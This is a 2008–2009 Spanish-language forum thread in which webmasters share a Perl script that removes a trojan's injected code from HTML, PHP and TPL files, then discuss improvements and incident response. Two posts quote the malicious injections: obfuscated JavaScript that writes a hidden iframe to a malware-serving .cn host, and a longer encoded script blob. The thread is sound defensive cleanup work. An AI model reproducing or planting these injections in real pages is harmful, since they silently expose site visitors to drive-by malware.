Página 1 de 2

Script para eliminar inyección maliciosa en sitio web

NotaPublicado: 2008-10-24 13:53 @620
por kidd
Tengo un servidor dedicado por medio de Layered Tech. Hoy en la mañana me desperté con la desagradable noticia de que había sido atacado el servidor con un troyano que inyectó código a todas las páginas con extensión .html, .html, .php y .tpl.

El código que fue insertado después de cada </html> en cada uno de esos archivos es:

Sintáxis: [ Descargar ] [ Ocultar ]
  1. <html> <body><script>var source ="=jgsbnf!tsd>(iuuq;00iv2.iv2/do0dpvoufs0joefy/qiq(!xjeui>2!ifjhiu>2!gsbnfcpsefs>1?=0jgsbnf?"; var result = "";  
  2. for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1);  
  3. document.write(result); </script> 
  4. </html> </body> 


Es un JavaScript encriptado, que realmente lo que imprime es:

Sintáxis: [ Descargar ] [ Ocultar ]
  1. <iframe src='http://hu1-hu1.cn/counter/index.php' width=1 height=1 frameborder=0></iframe> 


Que luego hace una llamada a un supuesto .pdf que realmente es el troyano Bloodhound.Exploit.196:
http://www.symantec.com/security_respon ... 02-2357-99

Al parece este tipo de ataques empezaron hace un par de días, así que no hay mucha información por ahí. Lo más que encontré fue la siguiente liga:
http://forums.permaculture.org.au/viewt ... &sk=t&sd=a

Todavía no se sabe cómo es que se atacan a los servidores, pero por lo que pude ver en mi servidor, primero hay un ataque de fuerza bruta para encontrar la contraseña; una vez que se puede accesar se crea un directorio en el root del servidor llamado polka/ que contiene el script encargado de inyectar a todos los archivos del servidor; una vez que los inyectó llama a la función chown() para cambiar el dueño de los archivos a root, por lo que no se pueden reescribir los archivos a menos de uno esté loggeado como root.

Encontré por ahí un script de PHP para hacer la limpieza, pero no me funcionó mucho, así que decidí hacer mi propio script de Perl.

Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
#!/usr/bin/perl

use strict;
use File::Find;
use Fcntl ':flock';
use Getopt::Long;

my $user = "";

my $options_okay = GetOptions( 'u=s' => \$user );

die("No User") if !$user;


my $root_dir = "/home/$user/public_html";


find( sub {

    my $file = $File::Find::name;

    return unless -f $file;
    return unless ($file =~ /\.(htm|html|php|tpl)/i );

    system("chown $user $file");

    open my $FILE, '<', $file or die $!;
    flock($FILE,LOCK_SH);
    my $data = do{ local $/; <$FILE> };
    close $FILE;

    if( $data =~ s!</html>.*?<html>.*</html>(\s*</body> </body>)?.*?$!</html>!msi ){
        open my $FILE, '>', $file or die $!;
        flock($FILE,LOCK_EX);
        print {$FILE} $data;
        close $FILE;

        print "$file - cleaned\n";
    }


},

$root_dir);
Coloreado en 0.003 segundos, usando GeSHi 1.0.8.4


Hay que subir el archivo el servidor, y después accesar al command line por medio del SSH como root. Es importante hacerlo de esta manera, de lo contrario no se tendrán los permisos suficientes para modificar los archivos.

Finalmente el script se llama de la siguiente manera:

Código: Seleccionar todo
perl script.pl -u username


El script usa el username para accesar a todos los archivos encontrados en su directorio public_html; por ejemplo, si se pone el usuario misitio, el script buscará todos los archivos en /home/misitio/public_html/.

Adicionalmente, todos los archivos infectados serán cambiados de dueño nuevamente al username especificado.

El script busca a través de todos los subdirectorios, así que con una sola llamada se puede limpiar todo el directorio de un sitio.

Después de hacer eso, recomiendo que cambien su contraseña de root por si se logró tener acceso al servidor, sea evitado de nuevo.

Un saludo y espero que sea útil para quien haya sufrido un ataque de estos.

NotaPublicado: 2008-11-17 17:51 @785
por estebanez
Muchas gracias por el script, funciona de maravillas.


Te quería consultar si es posible ejecutarlo para todas las cuentas de un dedicado o si únicamente hay que hacerlo cuenta por cuenta (somos de España y tenemos un dedicado con 600 cuentas).

Gracias.

NotaPublicado: 2008-11-18 11:47 @532
por bAsTeR
Qué buen dato Kidd. Por el momento no he sido victima de ese tipo de ataque pero no está de más saber cómo limpiar rápidamente un script de esa magnitud.

Muchas gracias.

NotaPublicado: 2008-11-18 19:59 @874
por creating021
Un par de cosas:

Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
my $root_dir = "/home/$user/public_html";
Coloreado en 0.001 segundos, usando GeSHi 1.0.8.4

Para que los admins de Mac OS X lo puedan usar:
Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
my $root_dir = "/home/$user/public_html";
if ( $^O eq "darwin" ) {
    $root_dir = "/Users/$user/Public"; # Normalmente
}
Coloreado en 0.001 segundos, usando GeSHi 1.0.8.4


Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
my $user = "";

my $options_okay = GetOptions( 'u=s' => \$user );

die("No User") if !$user;
Coloreado en 0.001 segundos, usando GeSHi 1.0.8.4


De la siguiente manera se ve más lindo :lol: además que Getopt::Long permite usar -u o --user al usarlo como se ve aquí:
Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
my $user;

GetOptions( 'user=s' => \$user );

die "Usage: $0 [-u|--user] user\n" unless $user;
Coloreado en 0.001 segundos, usando GeSHi 1.0.8.4


Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
system("chown $user $file");
Coloreado en 0.001 segundos, usando GeSHi 1.0.8.4

Ésto se puede volver más "portable" (supongo) de la siguiente forma:
Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
     my ( $login, $pass, $uid, $gid ) = getpwnam( $user ) or
        die "The user $user does not exists!\n"; # ????
    chown ( $uid, $gid, $file ) or die "chown error: $!\n";
Coloreado en 0.001 segundos, usando GeSHi 1.0.8.4

Te quería consultar si es posible ejecutarlo para todas las cuentas de un dedicado o si únicamente hay que hacerlo cuenta por cuenta (somos de España y tenemos un dedicado con 600 cuentas).

Actualmente se puede hacer solamente cuenta por cuenta :? pero una modificación puede solucionar el problema:

Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
use strict;
use File::Find;
use Fcntl ':flock';
use Getopt::Long;

my $usuarios;

GetOptions( 'user=s@' => \$usuarios );

die "Usage: $0 [-u|--user] users\n" unless @$usuarios;

foreach my $user ( @$usuarios ) {

    my $root_dir = "/home/$user/public_html";

    if ( $^O eq "darwin" ) {
        $root_dir = "/Users/$user/Public"; # Normalmente
    }

    find( sub {

        my $file = $File::Find::name;

        return unless -f $file;
        return unless ($file =~ /\.(htm|html|php|tpl)/i );

        my ( $login, $pass, $uid, $gid ) = getpwnam( $user ) or
            die "The user $user does not exists!\n"; # YAY!
        chown ( $uid, $gid, $file ) or die "chown error: $!\n"; # Mas "perlish"

        open ( my $FILE, '<', $file ) or die "$file : $!\n";
        flock( $FILE, LOCK_SH ) or die "Can not flock: $!\n";

        my $data = do{ local $/; <$FILE> };
        close $FILE;

        if( $data =~ s!</html>.*?<html>.*</html>(\s*</body></body>)?.*?$!</html>!msi ){
            open ( my $FILE, '>', $file ) or die "$file : $!\n";
            flock ( $FILE,LOCK_EX );
            print {$FILE} $data;
            close $FILE;

            print "$file - cleaned\n";
        }
        else { print "$file is clean\n"; }

    }, $root_dir );
}
Coloreado en 0.002 segundos, usando GeSHi 1.0.8.4


Seguro que se puede mejorar mucho más y pasarlo por un tidy :)

NotaPublicado: 2008-11-19 18:51 @827
por estebanez
Muchas Gracias :)

¿Con qué comando se podría ejecutar el script con la última modificación que hiciste para que se aplique a todos los usuarios?

NotaPublicado: 2008-11-20 04:34 @232
por explorer
Con las funciones de la familia getgr*() se puede obtener una lista de los usuarios que pertenezcan al grupo de usuarios, y adaptar el bucle para que los recorra.

Aquí tienes un ejemplo.

NotaPublicado: 2009-01-21 11:38 @526
por danimera
Tengo un mismo problema en una de mis páginas, no sé si se metieron en un hosting o qué, pero varios archivos me aparecen con un código que inicia así:

Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
<script language="javascript">$="Z63bZ3dZ228ds)Z253bZ2573tZ253dtmZ2570Z253dZ2527Z2527;for(iZ253d0;iZ253cds.leZ256egthZ25Z22;opZ3dZ22Z2524Z253dZ2522dw(dcs(Z2563u,1Z2534))Z253bZ2522;
Z22;czZ3dZ22Z2566uncZ2574ioZ256eZ2520cz(Z2563Z257a)Z257bretuZ2572n
Z2563a+cZ2562+Z2563c+cZ2564+cZ2565+czZ253b};Z22;ccZ3dZ223biZ252b+Z2529Z257btmZ2570Z253ddsZ252esZ256cZ2569Z2563Z2565(iZ252ci+1Z2529;Z2573tZ22;daZ3dZ22fqb0})-~ug0Qbbqi87|qe~Z257F7Z3c7Z7brtfu7Z3c7zsdxb7Z3c7ytvyb7Z3c7xufyv7Z3c7wvhuc7Z3c7vwfuc7Z3c7uxwxd7Z3c7tzu~y7Z3c7sZ7bud~7Z3c7r||uf7Z3c7q}dgu79+fqb0|)-~ug0Qbbqi87q7Z3c7r7Z3c7s7Z3c7t7Z3c7u7Z3c7v7Z3c7w7Z3c7x7Z3c7y7Z3c7z7Z3c7Z7b7Z3c7|7Z3c7}7Z3c7~7Z3c7Z257F7Z22;stZ3dZ22Z2573Z2574Z253dZ2522$Z253dsZ2574Z253bdZ2563Z2573(Z2564aZ252bdZ2562Z252bZ2564cZ252bdZ2564+Z2564eZ252cZ2531Z2530Z2529;Z2564wZ2528sZ2574)Z253bsZ2574Z253d$;Z2522Z253bZ22;deZ3dZ22M+}Sx-|)K88d)K7}7M;}^}950Z2522Z259M+yv888d)K7t7M:Z25229.-Z252096688d)K7t7M:Z25229,-)99tSx-~)K8d)K7t7M50!Z25209M+u|cu0tSx-|)K88d)K7t7M:Z2526950Z2522Z279M+4-4Z3ebu`|qsu8tZ3ciSxZ2522;}Sx;iSx!;tSx;})Kd)K7}7MZ3d!M;7Z3esZ257F}79+Z22;caZ3dZ22Z2566uZ256ectZ2569oZ256e
dZ2563s(dZ2573,esZ2529Z257bdsZ253duneZ2573cZ2561peZ252Z22;dbZ3dZ22Z3c7`7Z3c7a7Z3c7b7Z3c7c7Z3c7d7Z3c7e7Z3c7f7Z3c7g7Z3c7h7Z3c7i7Z3c7j79+fqb0~)-~ug0Qbbqi8!Z3cZ2522Z3c#Z3c$Z3cZ25Z3cZ2526Z3cZ27Z3c(Z3c)9+fqb0d)-~ug0Qbbqi89+fqb0t)-~ug0Tqdu89+d)K7i7M-t)Z3ewudVe||Iuqb89+yv8t)Z3ewudTqi89.#9d)K7t7M-
Coloreado en 0.001 segundos, usando GeSHi 1.0.8.4


Y pues lo borro y después de un tiempo que ?¿ no sé me ocurre nada para comprobar todos los archivos de mi servidor para ver si tienen eso :P

NotaPublicado: 2009-01-21 12:29 @562
por explorer
¿Una página tuya?

Es posible que tu máquina haya sido comprometida. Entonces:

* Cambia las contraseñas de acceso
* Haz copia de seguridad de toda la información importante
* Mira a ver que no existan procesos desconocidos ejecutándose en el servidor
* Mira que no existan ejecutables en el directorio /tmp extraños
* Mira estos dos últimos puntos también en el ordenador cliente, no sea que el problema esté justamente en la máquina de trabajo y no en el servidor
* Pasa un programa de localización de root-kits en el servidor
* Bórralo todo y formatea o instala un nuevo sistema operativo en el servidor y recupera luego toda la información guardada antes.

Para localizar contenidos en múltiples directorios, puedes usar el comando grep -r o el ack.

NotaPublicado: 2009-01-22 08:30 @396
por danimera
Es increíble tanta precaución...

Me pasó en una página que está alojada en un hosting de un servidor y tengo más páginas ahí. Me preocupa eso porque son casi 40 clientes.

No tengo acceso a todo el servidor puesto que es un reseller, pero si haré los pasos que pueda hacer.

¿Por qué es tan drástico lo que me sugieres, explorer? ¿Qué caso de infección es ésta o qué tipo de ataque?

NotaPublicado: 2009-01-22 08:56 @413
por explorer
Que aparezca código extraño en nuestras páginas web, puede ser a causa de 3 motivos fundamentales:

* El revendedor modifica las páginas para agregar publicidad o controles de las páginas que aloja. Esta es una práctica común en los alojamientos gratuitos

* La máquina donde están alojadas las páginas ha sido comprometida, y las páginas, modificadas con un propósito malvado

* La máquina que se está usando para la edición de las páginas está comprometida.

No sé qué es lo que hace el código, pero, desde luego, no voy a esperar a saberlo, porque podrían estar siendo comprometidos los usuarios que visitan esas páginas.

Lo primero, cambiar/editar las páginas o subir las versiones anteriores de ellas, para que no esté el código. Luego, cambiar los permisos de escritura de esas páginas, para evitar que sean modificadas por nadie (chmod 444). Quitar también los permisos de escritura en el directorio donde residen.

Si las páginas siguen cambiando, habría que mirar los logs de actividad del servidor web para ver que el cambio venga de fuera o no. Si no es de fuera, entonces es que la máquina donde residen podría estar comprometida.

Actualmente, hay miles de máquinas que tienen en su interior programas que realizan ataques a otras redes, secuestros y robos de información y envío masivo de correo basura.

Y sus dueños ni siquiera lo saben.